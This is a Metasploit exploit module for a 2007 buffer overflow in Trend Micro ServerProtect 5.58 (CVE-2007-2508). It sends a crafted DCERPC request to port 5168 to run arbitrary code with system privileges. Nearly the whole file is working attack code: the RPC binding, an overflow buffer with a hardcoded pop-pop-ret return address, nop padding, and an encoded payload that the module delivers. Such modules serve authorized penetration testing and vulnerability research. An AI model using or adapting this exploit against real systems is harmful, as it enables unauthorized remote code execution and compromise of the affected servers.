##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::DCERPC

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Trend Micro ServerProtect 5.58 CreateBinding() Buffer Overflow',
      'Description'    => %q{
          This module exploits a buffer overflow in Trend Micro ServerProtect 5.58 Build 1060.
        By sending a specially crafted RPC request, an attacker could overflow the
        buffer and execute arbitrary code.
      },
      'Author'         => [ 'MC' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', '2007-2508'],
          ['OSVDB', '35790'],
          ['BID', '23868'],
        ],
      'Privileged'     => true,
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
        },
      'Payload'        =>
        {
          'Space'    => 800,
          'BadChars' => "\x00",
          'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Trend Micro ServerProtect 5.58 Build 1060', { 'Ret' => 0x65675aa8 } ], # pop esi; pop ecx; ret - StRpcSrv.dll
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'May 7 2007'))

    register_options( [ Opt::RPORT(5168) ])
  end

  def exploit
    connect
    handle = dcerpc_handle('25288888-bd5b-11d1-9d53-0080c83a5c2c', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])
    print_status("Binding to #{handle} ...")

    dcerpc_bind(handle)
    print_status("Bound to #{handle} ...")

    filler =  rand_text_alpha(360) + Rex::Arch::X86.jmp_short(6) + make_nops(2)
    filler << [target.ret].pack('V') + payload.encoded
    filler << rand_text_english(1400 - payload.encoded.length)

    len    = filler.length

    sploit = NDR.long(0x001f0002) + NDR.long(len) + filler + NDR.long(len)

    print_status("Trying target #{target.name}...")

    begin
      dcerpc_call(0, sploit)
    rescue Rex::Proto::DCERPC::Exceptions::NoResponse
    end

    handler
    disconnect
  end
end
